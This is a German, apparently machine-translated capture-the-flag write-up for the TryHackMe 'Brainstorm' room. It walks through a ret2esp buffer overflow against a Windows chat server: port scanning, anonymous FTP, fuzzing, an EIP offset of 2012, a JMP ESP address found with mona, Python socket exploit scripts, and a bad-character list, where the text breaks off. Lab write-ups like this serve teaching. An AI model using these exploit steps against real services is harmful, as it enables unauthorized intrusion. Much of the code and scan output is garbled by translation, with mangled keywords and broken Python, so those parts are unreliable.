Diesmal werden wir den "Ret2esp -Angriff" ausprobieren, einem der Pufferüberlaufangriffe.
"Tryhackme-brainstorm: https://tryhackme.com/room/brainstorm "





Bereitstellung von Maschine und Scan -Netzwerk
Bereitstellen Sie die Maschine () ein
Stellen Sie zunächst Ihre Maschine ein.
Wählen Sie "StartMachine" aus und die IP wird angezeigt, sodass es in Ordnung ist.

Antwort

Wie viele Ports sind geöffnet? ()
Sie werden gefragt, wie viele offene Anschlüsse es gibt, also werde ich versuchen, Ports mit NMAP zu scannen.
Da es nicht auf Pings reagiert, setzen Sie "-np".
┌── (hacklab㉿hacklab)-[~] └─ $ nmap -pn -sv 10.10.15.108 Start NMAP 7.92 (https://nmap.org) Bei 2023-06-28 21:17 JST NMAP-Scan-Bericht für 10.10.15.108 Host ist (0.25s Latsecy). Nicht gezeigt: 997 gefilterte TCP-Ports (NO-Response) Port State Service Version 21/TCP Open FTP Microsoft FTPD 3389/TCP Open SSL/MS-WBT-Server? 9999/TCP Open Abyss? 1 Dienst nicht anerkannte Datenübergabedaten. Wenn Sie den Service/die Version kennen, senden Sie bitte den folgenden Fingerabdruck unter https://nmap.org/cgi-bin/submit.cgi?new-service: SF: LL, 52, "Willkommen \ x20to \ x20BrainStorm \ x20chat \ x20 \ (Beta \) \ nPlease \ x20enter SF: \ x20OUR \ x20USERNAME \ x20 \ (max \ x2020 \ x20 Characters \): \ x20")%R (GandRequest Sf:, 63, "Willkommen \ x20to \ x20BrainStorm \ x20Chat \ x20 \ (Beta \) \ nPlease \ x20enter \ x sf: 20your \ x20username \ x20 \ (max \ x2020 \ x20mes \) SF: SAGE: \ x20 ")%r (httpOptions, 63," Welcome \ x20to \ x20BrainStorm \ x20chat \ x20 \ (SF: Beta \) \ nPlease \ x20enter \ x20your \ x20username \ x20 \ (max \ \ x2020 \ x20character Sf: s \): \ x20write \ x20a \ x20Message: \ x20 ")%r (FouroHfourRequest, 63," Willkommen \ x2 sf: 0to \ x20BrainStorm \ x20chat \ x20 \ (Beta \) \ nPlease \ x20Uner \ x20Unern SF:ame\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(J SF:avaRMI,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20e Sf: nter \ x20your \ x20username \ x20 \ (max \ x2020 \ x20 Characters \): \ x20write \ x20a \ sf: x20message: \ x20 ")%r (Generiklines, 63," Begrüßung \ x20to \ x20 brainstorm \ x20cha SF:t\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20ch SF:aracters\):\x20Write\x20a\x20message:\x20")%r(RTSPRequest,63,"Welcome\x Sf: 20to \ x20BrainStorm \ x20chat \ x20 \ (Beta \) \ nPlease \ x20enter \ x20Your \ x20user SF: RPCCheck, 63, "Willkommen \ x20to \ x20BrainStorm \ x20chat \ x20 \ (Beta \) \ nPlease \ x2 SF: 0Enter \ x20Your \ x20username \ x20 \ (max \ x2020 \ x20characters \): \ x20write \ x2020 \ x20characters \): \ x20write \ x20 \ \ x20characters \): \ x20write \ x20 SF:a\x20message:\x20")%r(DNSVersionBindReqTCP,63,"Welcome\x20to\x20Brainst SF:orm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x SF: 2020 \ x20character \): \ x20write \ x20a \ x20Message: \ x20 ")%r (dnsStatusReques sf: ttcp, 63," Willkommen \ x20to \ x20Brainstorm \ x20chat \ x20 \ \ \ \ \ \ \ \ \ \ \ \ \ nPlease \ x20ent Sf: er \ x20Your \ x20username \ x20 \ (max \ x2020 \ x20 Characters \): \ x20Write \ x20a \ x2 SF: 0Message: \ x20 ")%r (Hilfe, 63," Welcome \ x20to \ x20Brainstor \ x20chat \ \ x20to \ x20Brainstorte \ x20chat \ \ x20to \ x20BrainStorm \ x20chat \ \ x20to \ (bet Sf: a \) \ nPlease \ x20ent \ x20Your \ x20username \ x20 \ (max \ x2020 \ x20 Characters \) sf :: \ x20write \ x20A \ x20Message: \ x20 ")%r (SSLSSessionrit, 63, 63," willkommen "\ x20") SF: Brainstorm \ x20Chat \ x20 \ (Beta \) \ nPlease \ x20enter \ x20Your \ x20username \ x20Sf: \ (max \ x2020 \ x20characacters \): \ x20Write \ x20a \ x20Message: \ x20 ")%R (utgrite SF: Servercookie, 63, "Willkommen \ x20to \ x20BrainStorm \ x20chat \ x20 \ (Beta \) \ nPlease SF: E \ x20enter \ x20Your \ x20username \ x20 \ (max \ x2020 \ x20character \): \ x20write Sf: \ x20a \ x20Message: \ x20 "); Service Info: Betriebssystem: Windows; CPE: CPE:/o: Microsoft: Windows -Service -Erkennung durchgeführt. Bitte melden Sie falsche Ergebnisse unter https://nmap.org/submit/. NMAP Fertig: 1 IP -Adresse (1 Host Up) gescannt 181,68 Sekunden
Die drei bestätigten Ports waren:
- 21/TCP Open FTP Microsoft FTPD
- 3389/TCP Open SSL/MS-WBT-Server?
- 9999/TCP Open Abyss?
Antwort
Ich antwortete 3 und es war falsch. Selbst nachdem es alle Methoden ausprobiert hatte, war es unmöglich, sechs zu erkennen.
Es wurde im Forum berichtet, also denke ich, dass es wahrscheinlich ein Fehler ist.
Im Moment habe ich die Zahl erhöht und die Antwort ist 6, die richtig geantwortet haben. . . (Wenn jemand weiß, lassen Sie es mich bitte wissen.)

Zugriff auf Dateien
Ich fand heraus, dass es drei offene Ports gibt.
Interessant ist der 9999, aber bitte beachten Sie, dass 21 ftps geöffnet sind.
FTP kann durch anonyme Authentifizierung zugänglich sein.
Es kann möglich sein, Informationen zu extrahieren, einschließlich der ausgeführten Dateien. Beginnen wir also mit FTP.
Wie heißt die EXE -Datei, die Sie gefunden haben?
Versuchen wir nun, mit anonymer Authentifizierung auf FTP zugreifen zu können.
Wenn Sie eine FTP sind, die eine anonyme Authentifizierung ermöglicht, sollten Sie sich mit "Anonymous" anmelden können.
┌── (hacklab㉿hacklab)-[~] └─ $ ftp 10.10.15.108 mit 10.10.15.108 verbunden. 220 Microsoft FTP-Dienstname (10.10.15.108:hacklab): Anonymous 331 Anonymous Access erlaubt, Identität (E-Mail-Name) als Passwort senden. Passwort: 230 Benutzer angemeldet. Remote -Systemtyp ist Windows_NT. ftp>
Wie erwartet war eine anonyme Authentifizierung erlaubt, so dass ich mich anmelden konnte.
Da es sich um Windows handelt, habe ich versucht, den Inhalt auf DIR zu betrachten, aber die Meldung "229 Eingänge des erweiterten passiven Modus" wurde angezeigt.
┌── (hacklab㉿hacklab)-[~] └─ $ ftp 10.10.15.108 mit 10.10.15.108 verbunden. 220 Microsoft FTP-Dienstname (10.10.15.108:hacklab): Anonymous 331 Anonymous Access erlaubt, Identität (E-Mail-Name) als Passwort senden. Passwort: 230 Benutzer angemeldet. Remote -Systemtyp ist Windows_NT. FTP> DIR 229 Eingeben erweiterten passiven Modus (||| 49301 |) ^C Empfangen Sie abgebrochen. Warten auf die Fernbedienung, um Abbruch zu beenden.
Sollte ich den passiven Modus mit "Passiv" ausschalten? Anscheinend wird es gut funktionieren.
So wie ich das dachte, bekam ich "425 kann die Datenverbindung nicht öffnen".
Ich werde versuchen, "Bin" in den Binärmodus festzulegen und dann erneut zu versuchen.
Ich konnte den Ordner erfolgreich überprüfen.
FTP> Passiver passiver Modus: Aus; Fallback in den aktiven Modus: Aus. FTP> DIR 200 EPRT -Befehl erfolgreich. 150 Öffnen der ASCII -Modus -Datenverbindung. 425 kann die Datenverbindung nicht öffnen. FTP> Bin 200 Typ Set auf I. FTP> DIR 200 EPRT -Befehl erfolgreich. 125 Datenverbindung bereits geöffnet; Übertragung beginnen. 08-29-19 08:36 PM<DIR> ChatServer 226 Übertragung vollständig.
Hier ist ein Ordner namens Chatserver.
Schauen wir uns den Inhalt an.
FTP> CD Chatserver 250 CWD -Befehl erfolgreich. FTP> DIR 200 EPRT -Befehl erfolgreich. 125 Datenverbindung bereits geöffnet; Übertragung beginnen. 08-29-19 22:26 PM 43747 CHATSERVER.EXE 29-29-19 10:27 PM 30761 Essfunc.dll 226 Übertragung vollständig.
Es gibt "chatserver.exe" und "Essfunc.dll". Ich denke, es läuft wahrscheinlich auf 9999.
Antwort

Zugang
Hier erhöht sich der Schwierigkeitsgrad auf einmal.
Ich hatte auch keine Ahnung davon, also sah ich mir einige Beschreibungen an. Trotzdem ist es nicht so toll. . .
Die Website, die ich als Referenz verwendet habe, ist unten im Artikel aufgeführt.
Vorbereitung
Laden Sie zunächst die beiden Dateien herunter, die Sie früher mit FTP gefunden haben.
FTP> Get Chatserver.exe Lokal: Chatserver.exe Remote: Chatserver.exe 200 EPRT -Befehl erfolgreich. 125 Datenverbindung bereits geöffnet; Übertragung beginnen. 100% |************ **************** **************** **************** EPRT -Befehl erfolgreich. 125 Datenverbindung bereits geöffnet; Übertragung beginnen. 100% |*********** ********** ********** ********** ********** ********** ********** **********
Schauen wir uns als nächstes einen Blick darauf an, was mit dem 9999, den wir in Portscan gefunden haben, los ist.
┌── (hacklab㉿hacklab) -[~] └─ $ nc -nv 10.10.15.108 9999 (unbekannt) [10.10.15.108] 9999 (?) Öffnen Sie Willkommen, Willkommen bei Brainstorm -Chat (Beta) Bitte geben Sie Ihre Benutzername ein (max.
Es scheint, dass ein Chat-ähnlicher Dienst ausgeführt wird, in dem Sie einen Benutzernamen von bis zu 20 Zeichen und eine Nachricht eingeben können, die keine Zeichengrenze zu haben scheint.
Wenn es eine Möglichkeit eines Pufferüberlaufs gibt, dann handelt es sich um eine Nachricht.
Lassen Sie uns zuvor überprüfen, ob der von Ihnen gerade heruntergeladene Chatserver.exe der gleiche Service ist.
Bewegen Sie die Datei, die Sie gerade heruntergeladen haben, in Ihren Windows -Computer.
PS C: \ Benutzer \ Hackl \ Share \ Brainstorm>. \ Chatserver.exe Chat -Server gestartet! Es wartet auf DLL Version 1.00, die auf Verbindungen wartet. Erhalt eine Client -Verbindung von 127.0.0.1:59586 Client 127.0.0.1:59586 ausgewählter Benutzername: Hacklab Client 127.0.0.1:59586 geschlossene Verbindung.
Sobald es gebootet ist, versuchen Sie, mit NC von Kali herzustellen.
┌── (hacklab㉿hacklab) -[~] └─ $ nc -nv 192.168.0.126 9999 (unbekannt) [192.168.0.126] 9999 (?) Öffnen Sie Willkommen zum Brainstorming -Chat (Beta) Bitte geben Sie Ihre Benutzername ein. Nachricht schreiben:
Jetzt wissen wir, dass es sich um eine ausführbare Datei für denselben Dienst handelt.
Installation von Immunitätsdebugger
Von hier aus verwenden wir Immunitätsdebugger.
Sie können es von unten herunterladen. Bitte laden Sie es herunter. (Sie müssen einige persönliche Informationen eingeben.)
Wenn Sie nicht über Python verfügen, scheint ein Dialog Python einzufügen. Bitte installieren Sie ihn.
Ich werde auch Mona verwenden, also laden Sie es bitte herunter.
Bitte geben Sie "mona.py" in "C: \ Programme (x86) \ Immunity Inc \ Immunity Debugger \ PyCommands" ein.
Bestimmen Sie nach dem Eingeben einer großen Anzahl von Zeichen den EIP -Offset.
Starten Sie nun Chatserver.exe auf Ihrem Windows -Computer.
PS C: \ Benutzer \ Hackl \ Share \ Brainstorm>. \ Chatserver.exe Chat -Server gestartet! Es wartet auf DLL Version 1.00, die auf Verbindungen wartet.
Sobald es abgelaufen ist, starten Sie den Immunitätsdebugger und fügen Sie Chatserver hinzu.


Sobald Sie angehängt haben, sehen Sie den Bildschirm unten.
Die untere rechte Ecke wird angehalten.

Drücken Sie F9 zum Laufen.

Jetzt werde ich versuchen, 1000 Ziffern in den Benutzernamen zu bringen.
┌── (hacklab㉿hackLab) -[~] └─ $ NC -NV 192.168.0.126 9999 1 ⨯ (unbekannt) [192.168.0.126] 9999 (?) Öffnen Sie Willkommen zum Brainstorm -Chat (BETA) Bitte geben Sie Ihren Benutzernamen ein (max 20 Charaktere). Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken AaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaa -Rücken Schreiben Sie eine Nachricht: Test Mi 2 28. Juni 23:10:36 2023 aaaaaaa sagte: teste
Es hat ohne Probleme funktioniert. Es sieht so aus, als wäre es auf 20 Ziffern abgeschnitten worden.
Es schien keine besonderen Beschränkungen für die Nachricht zu geben, daher erhöhte ich die Anzahl der Ziffern und fuhr sie ein, und es stürzte bei rund 2500 ab.
┌── (hacklab㉿hacklab) -[~] └─ $ NC -NV 192.168.0.126 9999 (unbekannt) [192.168.0.126] 9999 (?) Öffnen Sie Willkommen zum Brainstorming -Chat (Beta) Bitte geben Sie Ihren Benutzernamen ein (Max 20 -Charaktere): Testen Sie eine Nachricht.
Im Rahmen des Immunitätsdebuggers heißt es "Ausnahme an das Programm übergeben", und es stellt sich heraus, dass ein Fehler aufgetreten ist.
Stellen Sie außerdem sicher, dass das EIP -Register mit "41 (a)" gefüllt ist.
Dies bedeutet, dass der Pufferüberlauf aktiviert ist.
EIP -Register: Halten Sie die Adresse des nativen Code, der als nächstes ausgeführt werden soll

Finden Sie als nächstes den genauen Versatz des EIP.
Generiert 2500 Zeichen mit "msf-pattern_create".
┌─sych
Senden Sie dies in einer Nachricht.
┌── (hacklab㉿hacklab) -[~] └─ $ nc -nv 192.168.0.126 9999 1 ⨯ (unbekannt) [192.168.0.126] 9999 (?) Öffnen Sie Willkommen zum Brainstorm -Chat (Beta) Bitte geben Sie Ihren Benutzernamen ein.
Der EIP, wenn die Abstürze auf "31704330" eingestellt sind.

Finden Sie als nächstes den Offset, der in "msf-pattern_offset" überein "31704330" übereinstimmt.
┌── (hacklab㉿hacklab) -[~/tryhackme/Brainstorming] └─ $ msf -pattern_offset -l 2500 -Q 31704330 [*] Genaue Übereinstimmung bei Offset 2012
Auf diese Weise stellte ich fest, dass der EIP -Offset 2012 ist.
Auch da es sich um "31704330" handelt, sind es 4 Bytes, so dass EIP zwischen 2013 und 2016 überschrieben werden kann.
Ich werde es nur für den Fall überprüfen.
Von hier aus erstelle ich auch ein einfaches Werkzeug in Python.
Setzen Sie in der Nachricht 2012 A's im Voraus zum Absturz.
Ich möchte sicherstellen, dass ich EIP überschreiben kann, also füge ich vier B hinzu und versuchen, es auszuführen.
#!/usr/bin/python import -Socket, sys address = '192.168.0.126' port = 9999 user = 'test' message = ('A' * 2012) EIP = ('B' * 4) Nachricht += EIP # message += nop # message + socket.sock_stream) S.Connect ((Adresse, Port)) S.Recv (1024) S.Send ((Benutzer + '\ r \ n'). codieren ("utf-8") S.Recv (1024) Druck ("Nachricht") S. Send ((Message + '\ r \ n'. an die Anwendung. ') sys.exit (0) schließlich: s.close ()
Der EIP ist jetzt zu "4242424242" geworden. 42 ist B, so dass es richtig überschrieben wurde.

Antwort
「2012」

Jetzt wissen Sie, dass Sie einen Puffer überlaufen und möglicherweise die Ausführung steuern können. Sie müssen eine Funktion finden, bei der ASLR/DEP nicht aktiviert ist. Warum nicht die DLL -Datei überprüfen.
Überprüfen Sie als nächstes, ob der Shellcode unmittelbar nach dem EIP genügend Platz gibt.
Wenn das ESP -Register überschrieben werden kann, bezieht es sich auf die Möglichkeit, die ESP -JMP -Adresse zu verwenden, um die Ausführung zu einem ESP mit böswilligem Shellcode umzuleiten.
Um es ausführlicher auszusetzen, verwenden wir eine Angriffstechnik namens
ret2esp Wenn der Puffer überfüllt ist und der Beginn des Stapels ein Shellcode ist, verweist ESP auf den Shellcode. Durch die Umleitung von ESP können Sie den Shellcode ausführen.
- ESP
Stack Zeiger. Speichert die Speicheradresse von Daten, die oben im Stapelbereich gestapelt sind. Der Stack stapelt sich von der oberen Speicheradresse in Richtung der unteren Adresse, sodass ESP auf die Daten bezieht, die an der niedrigsten Adresse gespeichert sind. - JMP ESP
ESP Der ESP hat jedes Mal, wenn er gestartet wird, einen anderen Wert, sodass es nicht möglich ist, die ESP -Adresse zu harten.
Daher benötigen Sie eine JMP -ESP -Adresse, die an das ESP weitergeleitet wird.
Versuchen Sie, 500 cs hinter EIP zu legen und sie auszuführen.
#!/usr/bin/python import socket,sys address = '192.168.0.126' port = 9999 user = 'test' message = ('A' * 2012) eip = ('B' * 4) payload = ('C' * 500) message += eip message += payload # message += nop # message += buf try: print('[+] Sending buffer') s = Socket.Socket (Socket.af_inet, Socket.Sock_Stream) S.Connect ((Adresse, Port)) S.Recv (1024) S.Send ((Benutzer + '\ r \ n'). codieren ("utf-8") S.Recv (1024) Print ("utf-8"). E: Drucken (e) drucken ('[!] Die Anwendung kann nicht hergestellt werden.') sys.exit (0) Schließlich: s.close ()

ESP könnte mit "C" überschrieben werden.
ESP bedeutet, dass Sie eine JMP -Adresse verwenden können, um die Ausführung auf ein ESP umzuleiten, das den Shellcode enthält.
Als nächstes suchen wir nach Jum Esp.
! Mona jmp -r esp


Es gab ungefähr 9 effektive JMP -ESPs, aber wir werden das erste "625014DF" verwenden.
Überschreiben Sie an dieser Adresse den EIP, umleiten Sie ihn in das ESP und veranlassen, dass der Shellcode ausgeführt wird.
#!/usr/bin/python imports system 500) .Codode ("utf-8") Nachricht += EIP-Nachricht += Payload # meldung += nop # meldung += buf try: print ('[ +] Senden von Buffer') S = Socket. '\ r \ n'.code ("utf-8") S.Recv (1024) print ("meldung") send (message +' \ r \ n'.code ("utf-8")) Ausgenommene Ausnahme als E: print (e) drucken ('[!] Die Anwendung kann nicht hergestellt werden.')
Wenn Sie einen Haltepunkt mit "625014DF" hinterlassen, werden Sie feststellen, dass er reibungslos verläuft.

Einige hexadezimale Zeichen können verboten sein, die Ausführung von Shellcode zu verhindern. Schauen wir uns also an.
Dieser verbotene Charakter heißt schlechte Charaktere.
Bitte beachten Sie, dass verbotene Zeichen nicht in Sprungadressen oder Shellcodes enthalten sein können.
Ein typisches Beispiel ist, dass \ x00 (null) ein ungültiges Zeichen ist und ausgeschlossen werden kann.
Überprüfen Sie \ x01 nach \ xff.
┌── (hacklab㉿hacklab)-[~/tryhackme/Brainstorming] └─ $ cat test2.py #!/Usr/bin/python import-stecket, sys address = '192.168.0.126' port = 9999 user = 'test' eip = b '\ xdf \ x14 \ x14 \ x14 \ x14 \ x10 \ x50 \ · · \ \ x14 \ x10 \ x50 \ x50 \ · · momas (\ xdf =. "\ x11 \ x12 \ x13 \ x14 \ x15 \ x16 \ x17 \ x18 \ x19 \ x1a \ x1b \ x1c \ x1d \ x1e \ x1f \ x20" "\ x21 \ x22 \ x23 \ x24 \ x25 \ x26 \ x27 \ x28 \ x29 \ x2a \ x2b \ x2c \ x2d \ x2e \ x2f \ x30" "\ x31 \ x32 \ x33 \ x34 \ x35 \ x36 \ x37 \ x38 \ x39 \ x3a \ x3b \ x3c \ x3d \ x3e \ x3f \ x40" "\ x41 \ x42 \ x43 \ x44 \ x45 \ x46 \ x47 \ x48 \ x49 \ x4a \ x4b \ x4c \ x4d \ x4e \ x4f \ x50" "\ x51 \ x52 \ x53 \ x54 \ x55 \ x56 \ x57 \ x58 \ x59 \ x5a \ x5b \ x5c \ x5d \ x5e \ x5f \ x60" "\ x61 \ x62 \ x63 \ x64 \ x65 \ x66 \ x67 \ x68 \ x69 \ x6a \ x6b \ x6c \ x6d \ x6e \ x6f \ x70" "\ x71 \ x72 \ x73 \ x74 \ x75 \ x76 \ x77 \ x78 \ x79 \ x7a \ x7b \ x7c \ x7d \ x7e \ x7f \ x80" "\ x81 \ x82 \ x83 \ x84 \ x85 \ x86 \ x87 \ x88 \ x89 \ x8a \ x8b \ x8c \ x8d \ x8e \ x8f \ x90" "\ x91 \ x92 \ x93 \ x94 \ x95 \ x96 \ x97 \ x98 \ x99 \ x9a \ x9b \ x9c \ x9d \ x9e \ x9f \ xa0" "\ xa1 \ xa2 \ xa3 \ xa4 \ xa5 \ xa6 \ xa7 \ xa8 \ xa9 \ xaa \ xab \ xac \ xad \ xae \ xaf \ xb0" "\ xb1 \ xb2 \ xb3 \ xb4 \ xb5 \ xb6 \ xb7 \ xb8 \ xb9 \ xba \ xbb \ xbc \ xbd \ xbe \ xbf 